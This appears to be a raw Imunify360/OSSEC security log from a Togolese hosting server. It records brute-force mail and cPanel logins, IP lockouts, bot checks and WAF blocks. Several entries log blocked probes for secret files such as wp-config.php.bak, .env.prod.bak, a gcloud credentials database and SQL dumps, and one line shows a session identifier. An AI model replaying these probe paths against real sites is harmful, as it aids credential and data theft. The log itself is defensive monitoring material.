2026-06-13 02:24:10 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:35112: 535 Incorrect authentication data (set_id=test2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:24:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.72
country_id: 1880251
description:
47.128.121.72 - - [13/Jun/2026:02:25:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669975&pdata=http%253A%252F%252Ftogodailynews.tg%252Fvih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317535 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/vih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 02:25:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:53 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:52 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.114
country_id: 1880251
description:
47.128.122.114 - - [13/Jun/2026:02:26:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725025&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftextile-hausse-de-307-des-exportations-du-togo-en-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317606 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/textile-hausse-de-307-des-exportations-du-togo-en-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.114


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 02:27:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.130
country_id: 6290252
description:
Jun 13 02:26:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 02:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:30:55 ns5 pure-ftpd[2059021]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:32:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:32:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:15477: 535 Incorrect authentication data (set_id=ox-i)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.208.241
country_id: 290557
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/animate.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.230.24
country_id: 2510769
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/bootstrap.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.62.124
country_id: 1210997
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/owl-carousel/owl.carousel.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.103
country_id: 3895114
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/font-awesome.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.236.137
country_id: 2264397
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.69.20
country_id: 3923057
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style2.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [13/Jun/2026:02:39:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053521&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318388 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.17.66.82
country_id: 6252001
description:
167.17.66.82 - - [13/Jun/2026:02:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184603&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318437 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.17.66.82


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.205.54.122
country_id: 3625428
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:41:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:40316: 535 Incorrect authentication data (set_id=takahiro)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.197.142.208
country_id: 6252001
description:
169.197.142.208 - - [13/Jun/2026:02:43:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923227&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318632 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.197.142.208


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:43 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 02:43:26 +0000] info [cpaneld] 45.61.130.187 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:44 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 169.197.142.208
country_id: 6252001
description:
[2026-06-13 02:44:09 +0000] info [cpaneld] 169.197.142.208 NEW aopsacai:KB6zN3ZP5Nk25McX address=169.197.142.208,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.63.213.7
country_id: 1562822
description:
2026-06-13 02:44:22 H=(localhost.localdomain) [103.63.213.7]:47804 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info-jlob@danhgiasanpham.com> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.208.204.132
country_id: 1643084
description:
[2026-06-13 02:48:36 +0000] info [cpaneld] 103.208.204.132 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: inscription.ucao-uut.tg
description:


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.220.236.97
country_id: 1668284
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-54.185.220.236.97||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 02:54:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.223.5
country_id: 2363686
description:
102.64.223.5 - - [13/Jun/2026:02:55:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194476&pdata=https%253A%252F%252Fwellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319346 HTTP/2.0" 302 0 wellcity.tg "https://www.yandex.tg/" "Mozilla/5.0 (Linux; Android 15; SM-S918U Build/AP3A.240905.015.A2; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7339.119 Mobile Safari/537.36 MetaIAB" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.223.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 02:56:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 03:01:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:03:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974361&pdata=http%253A%252F%252Flaunetogo.tg%252Ffetes-de-fin-dannee-attention-aux-dangers-des-exces-alimentaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319791 HTTP/1.1" 302 0 launetogo.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 03:03:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.8.25.40
country_id: 2750405
description:
45.8.25.40 - - [13/Jun/2026:03:05:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789521&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319928 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.8.25.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.154
country_id: 6252001
description:
2026-06-13 03:06:57 dovecot_plain authenticator failed for H=(c3r9r6pfzbdhj04jios0t6qg) [23.129.64.154]:58689: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.154
country_id: 6252001
description:
Jun 13 03:06:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.30
country_id: 1269750
description:
Jun 13 03:08:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.30 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [13/Jun/2026:03:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725076&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D7&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320246 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=7" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:antasadmin||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/bak.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/src.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.104.205.240
country_id: 1861060
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.12.253
country_id: 6252001
description:
199.120.12.253 - - [13/Jun/2026:03:14:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9620076&pdata=https%253A%252F%252Fwww.arse.tg%252Farse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320488 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/arse/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.12.253


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/build.sql||User:antasadmin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.121
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.193.32.155.121||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.167
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.75.167||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.88
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.152.232.72.88||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.74.200
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.74.200||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/package.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/services.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/public.sql||User:antasadmin||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.223.32.225
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.223.32.225||TA:104.223.32.225||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 03:18:20 +0000] info [cpaneld] 128.199.123.37 - sotranet "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.94.98
country_id: 3437598
description:
181.78.94.98 - - [13/Jun/2026:03:18:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907757&pdata=https%253A%252F%252Fwebmail.leveinard.free.netmaster.tg%252F%253Flocale%253Dfr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320696 HTTP/2.0" 302 0 webmail.leveinard.free.netmaster.tg "https://webmail.leveinard.free.netmaster.tg/?locale=fr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.94.98


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/configuration.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/tokens.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/environment.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.236.247
country_id: 1819730
description:
190.92.236.247 - - [13/Jun/2026:03:20:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855273&pdata=https%253A%252F%252Flaunetogo.tg%252Fle-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320842 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/le-centre-de-mecanisation-agricole-de-tchitchao-une-revolution-agricole-togolaise-bientot-achevee/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.236.247


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.15.134
country_id: 6252001
description:
199.120.15.134 - - [13/Jun/2026:03:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907028&pdata=https%253A%252F%252Fwww.arse.tg%252Fwp-content%252Fuploads%252F2024%252F07%252FArrete_034_Modalites-et-Conditions_Autoproduction-1.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320874 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/wp-content/uploads/2024/07/Arrete_034_Modalites-et-Conditions_Autoproduction-1.pdf" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.15.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-13 03:20:58 +0000] info [cpaneld] 34.27.42.6 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dataset.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/sqldump.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/upload.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/cdn.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 82.24.150.208
country_id: 2510769
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.nsiassurancestogo.com||User:egjvuiox||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dev.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:28:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973803&pdata=https%253A%252F%252Flaunetogo.tg%252F%2525f0%25259f%25259f%2525a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781321287 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/%f0%9f%9f%a5editorial-maitre-apevon-ou-lirresistible-tentation-insurrectionniste/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pre-prod.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
